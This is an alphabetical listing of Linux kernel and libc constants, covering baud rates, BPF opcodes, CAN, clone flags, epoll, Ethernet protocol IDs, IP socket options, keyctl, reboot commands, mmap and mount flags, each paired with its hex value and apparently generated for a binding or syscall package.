-- B0 = 0x0
-- B1000000 = 0x1008
-- B110 = 0x3
-- B115200 = 0x1002
-- B1152000 = 0x1009
-- B1200 = 0x9
-- B134 = 0x4
-- B150 = 0x5
-- B1500000 = 0x100a
-- B1800 = 0xa
-- B19200 = 0xe
-- B200 = 0x6
-- B2000000 = 0x100b
-- B230400 = 0x1003
-- B2400 = 0xb
-- B2500000 = 0x100c
-- B300 = 0x7
-- B3000000 = 0x100d
-- B3500000 = 0x100e
-- B38400 = 0xf
-- B4000000 = 0x100f
-- B460800 = 0x1004
-- B4800 = 0xc
-- B50 = 0x1
-- B500000 = 0x1005
-- B57600 = 0x1001
-- B576000 = 0x1006
-- B600 = 0x8
-- B75 = 0x2
-- B921600 = 0x1007
-- B9600 = 0xd
-- BLKBSZGET = 0x40041270
-- BLKBSZSET = 0x80041271
-- BLKFLSBUF = 0x20001261
-- BLKFRAGET = 0x20001265
-- BLKFRASET = 0x20001264
-- BLKGETSIZE = 0x20001260
-- BLKGETSIZE64 = 0x40041272
-- BLKPBSZGET = 0x2000127b
-- BLKRAGET = 0x20001263
-- BLKRASET = 0x20001262
-- BLKROGET = 0x2000125e
-- BLKROSET = 0x2000125d
-- BLKRRPART = 0x2000125f
-- BLKSECTGET = 0x20001267
-- BLKSECTSET = 0x20001266
-- BLKSSZGET = 0x20001268
-- BOTHER = 0x1000
-- BPF_A = 0x10
-- BPF_ABS = 0x20
-- BPF_ADD = 0x0
-- BPF_ALU = 0x4
-- BPF_AND = 0x50
-- BPF_B = 0x10
-- BPF_DIV = 0x30
-- BPF_H = 0x8
-- BPF_IMM = 0x0
-- BPF_IND = 0x40
-- BPF_JA = 0x0
-- BPF_JEQ = 0x10
-- BPF_JGE = 0x30
-- BPF_JGT = 0x20
-- BPF_JMP = 0x5
-- BPF_JSET = 0x40
-- BPF_K = 0x0
-- BPF_LD = 0x0
-- BPF_LDX = 0x1
-- BPF_LEN = 0x80
-- BPF_LL_OFF = -0x200000
-- BPF_LSH = 0x60
-- BPF_MAJOR_VERSION = 0x1
-- BPF_MAXINSNS = 0x1000
-- BPF_MEM = 0x60
-- BPF_MEMWORDS = 0x10
-- BPF_MINOR_VERSION = 0x1
-- BPF_MISC = 0x7
-- BPF_MOD = 0x90
-- BPF_MSH = 0xa0
-- BPF_MUL = 0x20
-- BPF_NEG = 0x80
-- BPF_NET_OFF = -0x100000
-- BPF_OR = 0x40
-- BPF_RET = 0x6
-- BPF_RSH = 0x70
-- BPF_ST = 0x2
-- BPF_STX = 0x3
-- BPF_SUB = 0x10
-- BPF_TAX = 0x0
-- BPF_TXA = 0x80
-- BPF_W = 0x0
-- BPF_X = 0x8
-- BPF_XOR = 0xa0
-- BRKINT = 0x2
-- BS0 = 0x0
-- BS1 = 0x2000
-- BSDLY = 0x2000
-- CAN_BCM = 0x2
-- CAN_EFF_FLAG = 0x80000000
-- CAN_EFF_ID_BITS = 0x1d
-- CAN_EFF_MASK = 0x1fffffff
-- CAN_ERR_FLAG = 0x20000000
-- CAN_ERR_MASK = 0x1fffffff
-- CAN_INV_FILTER = 0x20000000
-- CAN_ISOTP = 0x6
-- CAN_MAX_DLC = 0x8
-- CAN_MAX_DLEN = 0x8
-- CAN_MCNET = 0x5
-- CAN_MTU = 0x10
-- CAN_NPROTO = 0x7
-- CAN_RAW = 0x1
-- CAN_RAW_FILTER_MAX = 0x200
-- CAN_RTR_FLAG = 0x40000000
-- CAN_SFF_ID_BITS = 0xb
-- CAN_SFF_MASK = 0x7ff
-- CAN_TP16 = 0x3
-- CAN_TP20 = 0x4
-- CBAUD = 0x100f
-- CBAUDEX = 0x1000
-- CFLUSH = 0xf
-- CIBAUD = 0x100f0000
-- CLOCAL = 0x800
-- CLOCK_BOOTTIME = 0x7
-- CLOCK_BOOTTIME_ALARM = 0x9
-- CLOCK_DEFAULT = 0x0
-- CLOCK_EXT = 0x1
-- CLOCK_INT = 0x2
-- CLOCK_MONOTONIC = 0x1
-- CLOCK_MONOTONIC_COARSE = 0x6
-- CLOCK_MONOTONIC_RAW = 0x4
-- CLOCK_PROCESS_CPUTIME_ID = 0x2
-- CLOCK_REALTIME = 0x0
-- CLOCK_REALTIME_ALARM = 0x8
-- CLOCK_REALTIME_COARSE = 0x5
-- CLOCK_TAI = 0xb
-- CLOCK_THREAD_CPUTIME_ID = 0x3
-- CLOCK_TXFROMRX = 0x4
-- CLOCK_TXINT = 0x3
-- CLONE_CHILD_CLEARTID = 0x200000
-- CLONE_CHILD_SETTID = 0x1000000
-- CLONE_DETACHED = 0x400000
-- CLONE_FILES = 0x400
-- CLONE_FS = 0x200
-- CLONE_IO = 0x80000000
-- CLONE_NEWCGROUP = 0x2000000
-- CLONE_NEWIPC = 0x8000000
-- CLONE_NEWNET = 0x40000000
-- CLONE_NEWNS = 0x20000
-- CLONE_NEWPID = 0x20000000
-- CLONE_NEWUSER = 0x10000000
-- CLONE_NEWUTS = 0x4000000
-- CLONE_PARENT = 0x8000
-- CLONE_PARENT_SETTID = 0x100000
-- CLONE_PTRACE = 0x2000
-- CLONE_SETTLS = 0x80000
-- CLONE_SIGHAND = 0x800
-- CLONE_SYSVSEM = 0x40000
-- CLONE_THREAD = 0x10000
-- CLONE_UNTRACED = 0x800000
-- CLONE_VFORK = 0x4000
-- CLONE_VM = 0x100
-- CMSPAR = 0x40000000
-- CR0 = 0x0
-- CR1 = 0x200
-- CR2 = 0x400
-- CR3 = 0x600
-- CRDLY = 0x600
-- CREAD = 0x80
-- CRTSCTS = 0x80000000
-- CS5 = 0x0
-- CS6 = 0x10
-- CS7 = 0x20
-- CS8 = 0x30
-- CSIGNAL = 0xff
-- CSIZE = 0x30
-- CSTART = 0x11
-- CSTATUS = 0x0
-- CSTOP = 0x13
-- CSTOPB = 0x40
-- CSUSP = 0x1a
-- DT_BLK = 0x6
-- DT_CHR = 0x2
-- DT_DIR = 0x4
-- DT_FIFO = 0x1
-- DT_LNK = 0xa
-- DT_REG = 0x8
-- DT_SOCK = 0xc
-- DT_UNKNOWN = 0x0
-- DT_WHT = 0xe
-- ECHO = 0x8
-- ECHOCTL = 0x200
-- ECHOE = 0x10
-- ECHOK = 0x20
-- ECHOKE = 0x800
-- ECHONL = 0x40
-- ECHOPRT = 0x400
-- EFD_CLOEXEC = 0x80000
-- EFD_NONBLOCK = 0x80
-- EFD_SEMAPHORE = 0x1
-- ENCODING_DEFAULT = 0x0
-- ENCODING_FM_MARK = 0x3
-- ENCODING_FM_SPACE = 0x4
-- ENCODING_MANCHESTER = 0x5
-- ENCODING_NRZ = 0x1
-- ENCODING_NRZI = 0x2
-- EPOLLERR = 0x8
-- EPOLLET = 0x80000000
-- EPOLLEXCLUSIVE = 0x10000000
-- EPOLLHUP = 0x10
-- EPOLLIN = 0x1
-- EPOLLMSG = 0x400
-- EPOLLONESHOT = 0x40000000
-- EPOLLOUT = 0x4
-- EPOLLPRI = 0x2
-- EPOLLRDBAND = 0x80
-- EPOLLRDHUP = 0x2000
-- EPOLLRDNORM = 0x40
-- EPOLLWAKEUP = 0x20000000
-- EPOLLWRBAND = 0x200
-- EPOLLWRNORM = 0x100
-- EPOLL_CLOEXEC = 0x80000
-- EPOLL_CTL_ADD = 0x1
-- EPOLL_CTL_DEL = 0x2
-- EPOLL_CTL_MOD = 0x3
-- ETH_P_1588 = 0x88f7
-- ETH_P_8021AD = 0x88a8
-- ETH_P_8021AH = 0x88e7
-- ETH_P_8021Q = 0x8100
-- ETH_P_80221 = 0x8917
-- ETH_P_802_2 = 0x4
-- ETH_P_802_3 = 0x1
-- ETH_P_802_3_MIN = 0x600
-- ETH_P_802_EX1 = 0x88b5
-- ETH_P_AARP = 0x80f3
-- ETH_P_AF_IUCV = 0xfbfb
-- ETH_P_ALL = 0x3
-- ETH_P_AOE = 0x88a2
-- ETH_P_ARCNET = 0x1a
-- ETH_P_ARP = 0x806
-- ETH_P_ATALK = 0x809b
-- ETH_P_ATMFATE = 0x8884
-- ETH_P_ATMMPOA = 0x884c
-- ETH_P_AX25 = 0x2
-- ETH_P_BATMAN = 0x4305
-- ETH_P_BPQ = 0x8ff
-- ETH_P_CAIF = 0xf7
-- ETH_P_CAN = 0xc
-- ETH_P_CANFD = 0xd
-- ETH_P_CONTROL = 0x16
-- ETH_P_CUST = 0x6006
-- ETH_P_DDCMP = 0x6
-- ETH_P_DEC = 0x6000
-- ETH_P_DIAG = 0x6005
-- ETH_P_DNA_DL = 0x6001
-- ETH_P_DNA_RC = 0x6002
-- ETH_P_DNA_RT = 0x6003
-- ETH_P_DSA = 0x1b
-- ETH_P_ECONET = 0x18
-- ETH_P_EDSA = 0xdada
-- ETH_P_FCOE = 0x8906
-- ETH_P_FIP = 0x8914
-- ETH_P_HDLC = 0x19
-- ETH_P_HSR = 0x892f
-- ETH_P_IEEE802154 = 0xf6
-- ETH_P_IEEEPUP = 0xa00
-- ETH_P_IEEEPUPAT = 0xa01
-- ETH_P_IP = 0x800
-- ETH_P_IPV6 = 0x86dd
-- ETH_P_IPX = 0x8137
-- ETH_P_IRDA = 0x17
-- ETH_P_LAT = 0x6004
-- ETH_P_LINK_CTL = 0x886c
-- ETH_P_LOCALTALK = 0x9
-- ETH_P_LOOP = 0x60
-- ETH_P_LOOPBACK = 0x9000
-- ETH_P_MACSEC = 0x88e5
-- ETH_P_MOBITEX = 0x15
-- ETH_P_MPLS_MC = 0x8848
-- ETH_P_MPLS_UC = 0x8847
-- ETH_P_MVRP = 0x88f5
-- ETH_P_NCSI = 0x88f8
-- ETH_P_PAE = 0x888e
-- ETH_P_PAUSE = 0x8808
-- ETH_P_PHONET = 0xf5
-- ETH_P_PPPTALK = 0x10
-- ETH_P_PPP_DISC = 0x8863
-- ETH_P_PPP_MP = 0x8
-- ETH_P_PPP_SES = 0x8864
-- ETH_P_PRP = 0x88fb
-- ETH_P_PUP = 0x200
-- ETH_P_PUPAT = 0x201
-- ETH_P_QINQ1 = 0x9100
-- ETH_P_QINQ2 = 0x9200
-- ETH_P_QINQ3 = 0x9300
-- ETH_P_RARP = 0x8035
-- ETH_P_SCA = 0x6007
-- ETH_P_SLOW = 0x8809
-- ETH_P_SNAP = 0x5
-- ETH_P_TDLS = 0x890d
-- ETH_P_TEB = 0x6558
-- ETH_P_TIPC = 0x88ca
-- ETH_P_TRAILER = 0x1c
-- ETH_P_TR_802_2 = 0x11
-- ETH_P_TSN = 0x22f0
-- ETH_P_WAN_PPP = 0x7
-- ETH_P_WCCP = 0x883e
-- ETH_P_X25 = 0x805
-- ETH_P_XDSA = 0xf8
-- EXTA = 0xe
-- EXTB = 0xf
-- EXTPROC = 0x10000
-- FALLOC_FL_COLLAPSE_RANGE = 0x8
-- FALLOC_FL_INSERT_RANGE = 0x20
-- FALLOC_FL_KEEP_SIZE = 0x1
-- FALLOC_FL_NO_HIDE_STALE = 0x4
-- FALLOC_FL_PUNCH_HOLE = 0x2
-- FALLOC_FL_UNSHARE_RANGE = 0x40
-- FALLOC_FL_ZERO_RANGE = 0x10
-- FD_CLOEXEC = 0x1
-- FD_SETSIZE = 0x400
-- FF0 = 0x0
-- FF1 = 0x8000
-- FFDLY = 0x8000
-- FLUSHO = 0x2000
-- FS_ENCRYPTION_MODE_AES_256_CBC = 0x3
-- FS_ENCRYPTION_MODE_AES_256_CTS = 0x4
-- FS_ENCRYPTION_MODE_AES_256_GCM = 0x2
-- FS_ENCRYPTION_MODE_AES_256_XTS = 0x1
-- FS_ENCRYPTION_MODE_INVALID = 0x0
-- FS_IOC_GET_ENCRYPTION_POLICY = 0x800c6615
-- FS_IOC_GET_ENCRYPTION_PWSALT = 0x80106614
-- FS_IOC_SET_ENCRYPTION_POLICY = 0x400c6613
-- FS_KEY_DESCRIPTOR_SIZE = 0x8
-- FS_KEY_DESC_PREFIX = "fscrypt:"
-- FS_KEY_DESC_PREFIX_SIZE = 0x8
-- FS_MAX_KEY_SIZE = 0x40
-- FS_POLICY_FLAGS_PAD_16 = 0x2
-- FS_POLICY_FLAGS_PAD_32 = 0x3
-- FS_POLICY_FLAGS_PAD_4 = 0x0
-- FS_POLICY_FLAGS_PAD_8 = 0x1
-- FS_POLICY_FLAGS_PAD_MASK = 0x3
-- FS_POLICY_FLAGS_VALID = 0x3
-- F_DUPFD = 0x0
-- F_DUPFD_CLOEXEC = 0x406
-- F_EXLCK = 0x4
-- F_GETFD = 0x1
-- F_GETFL = 0x3
-- F_GETLEASE = 0x401
-- F_GETLK = 0x21
-- F_GETLK64 = 0x21
-- F_GETOWN = 0x17
-- F_GETOWN_EX = 0x10
-- F_GETPIPE_SZ = 0x408
-- F_GETSIG = 0xb
-- F_LOCK = 0x1
-- F_NOTIFY = 0x402
-- F_OFD_GETLK = 0x24
-- F_OFD_SETLK = 0x25
-- F_OFD_SETLKW = 0x26
-- F_OK = 0x0
-- F_RDLCK = 0x0
-- F_SETFD = 0x2
-- F_SETFL = 0x4
-- F_SETLEASE = 0x400
-- F_SETLK = 0x22
-- F_SETLK64 = 0x22
-- F_SETLKW = 0x23
-- F_SETLKW64 = 0x23
-- F_SETOWN = 0x18
-- F_SETOWN_EX = 0xf
-- F_SETPIPE_SZ = 0x407
-- F_SETSIG = 0xa
-- F_SHLCK = 0x8
-- F_TEST = 0x3
-- F_TLOCK = 0x2
-- F_ULOCK = 0x0
-- F_UNLCK = 0x2
-- F_WRLCK = 0x1
-- GENL_ADMIN_PERM = 0x1
-- GENL_CMD_CAP_DO = 0x2
-- GENL_CMD_CAP_DUMP = 0x4
-- GENL_CMD_CAP_HASPOL = 0x8
-- GENL_HDRLEN = 0x4
-- GENL_ID_CTRL = 0x10
-- GENL_ID_PMCRAID = 0x12
-- GENL_ID_VFS_DQUOT = 0x11
-- GENL_MAX_ID = 0x3ff
-- GENL_MIN_ID = 0x10
-- GENL_NAMSIZ = 0x10
-- GENL_START_ALLOC = 0x13
-- GENL_UNS_ADMIN_PERM = 0x10
-- GRND_NONBLOCK = 0x1
-- GRND_RANDOM = 0x2
-- HUPCL = 0x400
-- IBSHIFT = 0x10
-- ICANON = 0x2
-- ICMPV6_FILTER = 0x1
-- ICRNL = 0x100
-- IEXTEN = 0x100
-- IFA_F_DADFAILED = 0x8
-- IFA_F_DEPRECATED = 0x20
-- IFA_F_HOMEADDRESS = 0x10
-- IFA_F_MANAGETEMPADDR = 0x100
-- IFA_F_MCAUTOJOIN = 0x400
-- IFA_F_NODAD = 0x2
-- IFA_F_NOPREFIXROUTE = 0x200
-- IFA_F_OPTIMISTIC = 0x4
-- IFA_F_PERMANENT = 0x80
-- IFA_F_SECONDARY = 0x1
-- IFA_F_STABLE_PRIVACY = 0x800
-- IFA_F_TEMPORARY = 0x1
-- IFA_F_TENTATIVE = 0x40
-- IFA_MAX = 0x8
-- IFF_ALLMULTI = 0x200
-- IFF_ATTACH_QUEUE = 0x200
-- IFF_AUTOMEDIA = 0x4000
-- IFF_BROADCAST = 0x2
-- IFF_DEBUG = 0x4
-- IFF_DETACH_QUEUE = 0x400
-- IFF_DORMANT = 0x20000
-- IFF_DYNAMIC = 0x8000
-- IFF_ECHO = 0x40000
-- IFF_LOOPBACK = 0x8
-- IFF_LOWER_UP = 0x10000
-- IFF_MASTER = 0x400
-- IFF_MULTICAST = 0x1000
-- IFF_MULTI_QUEUE = 0x100
-- IFF_NOARP = 0x80
-- IFF_NOFILTER = 0x1000
-- IFF_NOTRAILERS = 0x20
-- IFF_NO_PI = 0x1000
-- IFF_ONE_QUEUE = 0x2000
-- IFF_PERSIST = 0x800
-- IFF_POINTOPOINT = 0x10
-- IFF_PORTSEL = 0x2000
-- IFF_PROMISC = 0x100
-- IFF_RUNNING = 0x40
-- IFF_SLAVE = 0x800
-- IFF_TAP = 0x2
-- IFF_TUN = 0x1
-- IFF_TUN_EXCL = 0x8000
-- IFF_UP = 0x1
-- IFF_VNET_HDR = 0x4000
-- IFF_VOLATILE = 0x70c5a
-- IFNAMSIZ = 0x10
-- IGNBRK = 0x1
-- IGNCR = 0x80
-- IGNPAR = 0x4
-- IMAXBEL = 0x2000
-- INLCR = 0x40
-- INPCK = 0x10
-- IN_ACCESS = 0x1
-- IN_ALL_EVENTS = 0xfff
-- IN_ATTRIB = 0x4
-- IN_CLASSA_HOST = 0xffffff
-- IN_CLASSA_MAX = 0x80
-- IN_CLASSA_NET = 0xff000000
-- IN_CLASSA_NSHIFT = 0x18
-- IN_CLASSB_HOST = 0xffff
-- IN_CLASSB_MAX = 0x10000
-- IN_CLASSB_NET = 0xffff0000
-- IN_CLASSB_NSHIFT = 0x10
-- IN_CLASSC_HOST = 0xff
-- IN_CLASSC_NET = 0xffffff00
-- IN_CLASSC_NSHIFT = 0x8
-- IN_CLOEXEC = 0x80000
-- IN_CLOSE = 0x18
-- IN_CLOSE_NOWRITE = 0x10
-- IN_CLOSE_WRITE = 0x8
-- IN_CREATE = 0x100
-- IN_DELETE = 0x200
-- IN_DELETE_SELF = 0x400
-- IN_DONT_FOLLOW = 0x2000000
-- IN_EXCL_UNLINK = 0x4000000
-- IN_IGNORED = 0x8000
-- IN_ISDIR = 0x40000000
-- IN_LOOPBACKNET = 0x7f
-- IN_MASK_ADD = 0x20000000
-- IN_MODIFY = 0x2
-- IN_MOVE = 0xc0
-- IN_MOVED_FROM = 0x40
-- IN_MOVED_TO = 0x80
-- IN_MOVE_SELF = 0x800
-- IN_NONBLOCK = 0x80
-- IN_ONESHOT = 0x80000000
-- IN_ONLYDIR = 0x1000000
-- IN_OPEN = 0x20
-- IN_Q_OVERFLOW = 0x4000
-- IN_UNMOUNT = 0x2000
-- IPPROTO_AH = 0x33
-- IPPROTO_BEETPH = 0x5e
-- IPPROTO_COMP = 0x6c
-- IPPROTO_DCCP = 0x21
-- IPPROTO_DSTOPTS = 0x3c
-- IPPROTO_EGP = 0x8
-- IPPROTO_ENCAP = 0x62
-- IPPROTO_ESP = 0x32
-- IPPROTO_FRAGMENT = 0x2c
-- IPPROTO_GRE = 0x2f
-- IPPROTO_HOPOPTS = 0x0
-- IPPROTO_ICMP = 0x1
-- IPPROTO_ICMPV6 = 0x3a
-- IPPROTO_IDP = 0x16
-- IPPROTO_IGMP = 0x2
-- IPPROTO_IP = 0x0
-- IPPROTO_IPIP = 0x4
-- IPPROTO_IPV6 = 0x29
-- IPPROTO_MH = 0x87
-- IPPROTO_MPLS = 0x89
-- IPPROTO_MTP = 0x5c
-- IPPROTO_NONE = 0x3b
-- IPPROTO_PIM = 0x67
-- IPPROTO_PUP = 0xc
-- IPPROTO_RAW = 0xff
-- IPPROTO_ROUTING = 0x2b
-- IPPROTO_RSVP = 0x2e
-- IPPROTO_SCTP = 0x84
-- IPPROTO_TCP = 0x6
-- IPPROTO_TP = 0x1d
-- IPPROTO_UDP = 0x11
-- IPPROTO_UDPLITE = 0x88
-- IPV6_2292DSTOPTS = 0x4
-- IPV6_2292HOPLIMIT = 0x8
-- IPV6_2292HOPOPTS = 0x3
-- IPV6_2292PKTINFO = 0x2
-- IPV6_2292PKTOPTIONS = 0x6
-- IPV6_2292RTHDR = 0x5
-- IPV6_ADDRFORM = 0x1
-- IPV6_ADD_MEMBERSHIP = 0x14
-- IPV6_AUTHHDR = 0xa
-- IPV6_CHECKSUM = 0x7
-- IPV6_DONTFRAG = 0x3e
-- IPV6_DROP_MEMBERSHIP = 0x15
-- IPV6_DSTOPTS = 0x3b
-- IPV6_HDRINCL = 0x24
-- IPV6_HOPLIMIT = 0x34
-- IPV6_HOPOPTS = 0x36
-- IPV6_IPSEC_POLICY = 0x22
-- IPV6_JOIN_ANYCAST = 0x1b
-- IPV6_JOIN_GROUP = 0x14
-- IPV6_LEAVE_ANYCAST = 0x1c
-- IPV6_LEAVE_GROUP = 0x15
-- IPV6_MTU = 0x18
-- IPV6_MTU_DISCOVER = 0x17
-- IPV6_MULTICAST_HOPS = 0x12
-- IPV6_MULTICAST_IF = 0x11
-- IPV6_MULTICAST_LOOP = 0x13
-- IPV6_NEXTHOP = 0x9
-- IPV6_PATHMTU = 0x3d
-- IPV6_PKTINFO = 0x32
-- IPV6_PMTUDISC_DO = 0x2
-- IPV6_PMTUDISC_DONT = 0x0
-- IPV6_PMTUDISC_INTERFACE = 0x4
-- IPV6_PMTUDISC_OMIT = 0x5
-- IPV6_PMTUDISC_PROBE = 0x3
-- IPV6_PMTUDISC_WANT = 0x1
-- IPV6_RECVDSTOPTS = 0x3a
-- IPV6_RECVERR = 0x19
-- IPV6_RECVHOPLIMIT = 0x33
-- IPV6_RECVHOPOPTS = 0x35
-- IPV6_RECVPATHMTU = 0x3c
-- IPV6_RECVPKTINFO = 0x31
-- IPV6_RECVRTHDR = 0x38
-- IPV6_RECVTCLASS = 0x42
-- IPV6_ROUTER_ALERT = 0x16
-- IPV6_RTHDR = 0x39
-- IPV6_RTHDRDSTOPTS = 0x37
-- IPV6_RTHDR_LOOSE = 0x0
-- IPV6_RTHDR_STRICT = 0x1
-- IPV6_RTHDR_TYPE_0 = 0x0
-- IPV6_RXDSTOPTS = 0x3b
-- IPV6_RXHOPOPTS = 0x36
-- IPV6_TCLASS = 0x43
-- IPV6_UNICAST_HOPS = 0x10
-- IPV6_V6ONLY = 0x1a
-- IPV6_XFRM_POLICY = 0x23
-- IP_ADD_MEMBERSHIP = 0x23
-- IP_ADD_SOURCE_MEMBERSHIP = 0x27
-- IP_BIND_ADDRESS_NO_PORT = 0x18
-- IP_BLOCK_SOURCE = 0x26
-- IP_CHECKSUM = 0x17
-- IP_DEFAULT_MULTICAST_LOOP = 0x1
-- IP_DEFAULT_MULTICAST_TTL = 0x1
-- IP_DF = 0x4000
-- IP_DROP_MEMBERSHIP = 0x24
-- IP_DROP_SOURCE_MEMBERSHIP = 0x28
-- IP_FREEBIND = 0xf
-- IP_HDRINCL = 0x3
-- IP_IPSEC_POLICY = 0x10
-- IP_MAXPACKET = 0xffff
-- IP_MAX_MEMBERSHIPS = 0x14
-- IP_MF = 0x2000
-- IP_MINTTL = 0x15
-- IP_MSFILTER = 0x29
-- IP_MSS = 0x240
-- IP_MTU = 0xe
-- IP_MTU_DISCOVER = 0xa
-- IP_MULTICAST_ALL = 0x31
-- IP_MULTICAST_IF = 0x20
-- IP_MULTICAST_LOOP = 0x22
-- IP_MULTICAST_TTL = 0x21
-- IP_NODEFRAG = 0x16
-- IP_OFFMASK = 0x1fff
-- IP_OPTIONS = 0x4
-- IP_ORIGDSTADDR = 0x14
-- IP_PASSSEC = 0x12
-- IP_PKTINFO = 0x8
-- IP_PKTOPTIONS = 0x9
-- IP_PMTUDISC = 0xa
-- IP_PMTUDISC_DO = 0x2
-- IP_PMTUDISC_DONT = 0x0
-- IP_PMTUDISC_INTERFACE = 0x4
-- IP_PMTUDISC_OMIT = 0x5
-- IP_PMTUDISC_PROBE = 0x3
-- IP_PMTUDISC_WANT = 0x1
-- IP_RECVERR = 0xb
-- IP_RECVOPTS = 0x6
-- IP_RECVORIGDSTADDR = 0x14
-- IP_RECVRETOPTS = 0x7
-- IP_RECVTOS = 0xd
-- IP_RECVTTL = 0xc
-- IP_RETOPTS = 0x7
-- IP_RF = 0x8000
-- IP_ROUTER_ALERT = 0x5
-- IP_TOS = 0x1
-- IP_TRANSPARENT = 0x13
-- IP_TTL = 0x2
-- IP_UNBLOCK_SOURCE = 0x25
-- IP_UNICAST_IF = 0x32
-- IP_XFRM_POLICY = 0x11
-- ISIG = 0x1
-- ISTRIP = 0x20
-- IUCLC = 0x200
-- IUTF8 = 0x4000
-- IXANY = 0x800
-- IXOFF = 0x1000
-- IXON = 0x400
-- KEYCTL_ASSUME_AUTHORITY = 0x10
-- KEYCTL_CHOWN = 0x4
-- KEYCTL_CLEAR = 0x7
-- KEYCTL_DESCRIBE = 0x6
-- KEYCTL_DH_COMPUTE = 0x17
-- KEYCTL_GET_KEYRING_ID = 0x0
-- KEYCTL_GET_PERSISTENT = 0x16
-- KEYCTL_GET_SECURITY = 0x11
-- KEYCTL_INSTANTIATE = 0xc
-- KEYCTL_INSTANTIATE_IOV = 0x14
-- KEYCTL_INVALIDATE = 0x15
-- KEYCTL_JOIN_SESSION_KEYRING = 0x1
-- KEYCTL_LINK = 0x8
-- KEYCTL_NEGATE = 0xd
-- KEYCTL_READ = 0xb
-- KEYCTL_REJECT = 0x13
-- KEYCTL_REVOKE = 0x3
-- KEYCTL_SEARCH = 0xa
-- KEYCTL_SESSION_TO_PARENT = 0x12
-- KEYCTL_SETPERM = 0x5
-- KEYCTL_SET_REQKEY_KEYRING = 0xe
-- KEYCTL_SET_TIMEOUT = 0xf
-- KEYCTL_UNLINK = 0x9
-- KEYCTL_UPDATE = 0x2
-- KEY_REQKEY_DEFL_DEFAULT = 0x0
-- KEY_REQKEY_DEFL_GROUP_KEYRING = 0x6
-- KEY_REQKEY_DEFL_NO_CHANGE = -0x1
-- KEY_REQKEY_DEFL_PROCESS_KEYRING = 0x2
-- KEY_REQKEY_DEFL_REQUESTOR_KEYRING = 0x7
-- KEY_REQKEY_DEFL_SESSION_KEYRING = 0x3
-- KEY_REQKEY_DEFL_THREAD_KEYRING = 0x1
-- KEY_REQKEY_DEFL_USER_KEYRING = 0x4
-- KEY_REQKEY_DEFL_USER_SESSION_KEYRING = 0x5
-- KEY_SPEC_GROUP_KEYRING = -0x6
-- KEY_SPEC_PROCESS_KEYRING = -0x2
-- KEY_SPEC_REQKEY_AUTH_KEY = -0x7
-- KEY_SPEC_REQUESTOR_KEYRING = -0x8
-- KEY_SPEC_SESSION_KEYRING = -0x3
-- KEY_SPEC_THREAD_KEYRING = -0x1
-- KEY_SPEC_USER_KEYRING = -0x4
-- KEY_SPEC_USER_SESSION_KEYRING = -0x5
-- LINUX_REBOOT_CMD_CAD_OFF = 0x0
-- LINUX_REBOOT_CMD_CAD_ON = 0x89abcdef
-- LINUX_REBOOT_CMD_HALT = 0xcdef0123
-- LINUX_REBOOT_CMD_KEXEC = 0x45584543
-- LINUX_REBOOT_CMD_POWER_OFF = 0x4321fedc
-- LINUX_REBOOT_CMD_RESTART = 0x1234567
-- LINUX_REBOOT_CMD_RESTART2 = 0xa1b2c3d4
-- LINUX_REBOOT_CMD_SW_SUSPEND = 0xd000fce2
-- LINUX_REBOOT_MAGIC1 = 0xfee1dead
-- LINUX_REBOOT_MAGIC2 = 0x28121969
-- LOCK_EX = 0x2
-- LOCK_NB = 0x4
-- LOCK_SH = 0x1
-- LOCK_UN = 0x8
-- MADV_DODUMP = 0x11
-- MADV_DOFORK = 0xb
-- MADV_DONTDUMP = 0x10
-- MADV_DONTFORK = 0xa
-- MADV_DONTNEED = 0x4
-- MADV_FREE = 0x8
-- MADV_HUGEPAGE = 0xe
-- MADV_HWPOISON = 0x64
-- MADV_MERGEABLE = 0xc
-- MADV_NOHUGEPAGE = 0xf
-- MADV_NORMAL = 0x0
-- MADV_RANDOM = 0x1
-- MADV_REMOVE = 0x9
-- MADV_SEQUENTIAL = 0x2
-- MADV_UNMERGEABLE = 0xd
-- MADV_WILLNEED = 0x3
-- MAP_ANON = 0x800
-- MAP_ANONYMOUS = 0x800
-- MAP_DENYWRITE = 0x2000
-- MAP_EXECUTABLE = 0x4000
-- MAP_FILE = 0x0
-- MAP_FIXED = 0x10
-- MAP_GROWSDOWN = 0x1000
-- MAP_HUGETLB = 0x80000
-- MAP_HUGE_MASK = 0x3f
-- MAP_HUGE_SHIFT = 0x1a
-- MAP_LOCKED = 0x8000
-- MAP_NONBLOCK = 0x20000
-- MAP_NORESERVE = 0x400
-- MAP_POPULATE = 0x10000
-- MAP_PRIVATE = 0x2
-- MAP_RENAME = 0x800
-- MAP_SHARED = 0x1
-- MAP_STACK = 0x40000
-- MAP_TYPE = 0xf
-- MCL_CURRENT = 0x1
-- MCL_FUTURE = 0x2
-- MCL_ONFAULT = 0x4
-- MNT_DETACH = 0x2
-- MNT_EXPIRE = 0x4
-- MNT_FORCE = 0x1
-- MSG_BATCH = 0x40000
-- MSG_CMSG_CLOEXEC = 0x40000000
-- MSG_CONFIRM = 0x800
-- MSG_CTRUNC = 0x8
-- MSG_DONTROUTE = 0x4
-- MSG_DONTWAIT = 0x40
-- MSG_EOR = 0x80
-- MSG_ERRQUEUE = 0x2000
-- MSG_FASTOPEN = 0x20000000
-- MSG_FIN = 0x200
-- MSG_MORE = 0x8000
-- MSG_NOSIGNAL = 0x4000
-- MSG_OOB = 0x1
-- MSG_PEEK = 0x2
-- MSG_PROXY = 0x10
-- MSG_RST = 0x1000
-- MSG_SYN = 0x400
-- MSG_TRUNC = 0x20
-- MSG_TRYHARD = 0x4
-- MSG_WAITALL = 0x100
-- MSG_WAITFORONE = 0x10000
-- MS_ACTIVE = 0x40000000
-- MS_ASYNC = 0x1
-- MS_BIND = 0x1000
-- MS_BORN = 0x20000000
-- MS_DIRSYNC = 0x80
-- MS_INVALIDATE = 0x2
-- MS_I_VERSION = 0x800000
-- MS_KERNMOUNT = 0x400000
-- MS_LAZYTIME = 0x2000000
-- MS_MANDLOCK = 0x40
-- MS_MGC_MSK = 0xffff0000
-- MS_MGC_VAL = 0xc0ed0000
-- MS_MOVE = 0x2000
-- MS_NOATIME = 0x400
-- MS_NODEV = 0x4
-- MS_NODIRATIME = 0x800
-- MS_NOEXEC = 0x8
-- MS_NOREMOTELOCK = 0x8000000
-- MS_NOSEC = 0x10000000
-- MS_NOSUID = 0x2
-- MS_NOUSER = -0x80000000
-- MS_POSIXACL = 0x10000
-- MS_PRIVATE = 0x40000
-- MS_RDONLY = 0x1
-- MS_REC = 0x4000
-- MS_RELATIME = 0x200000
-- MS_REMOUNT = 0x20
-- MS_RMT_MASK = 0x2800051
-- MS_SHARED = 0x100000
-- MS_SILENT = 0x8000
-- MS_SLAVE = 0x80000
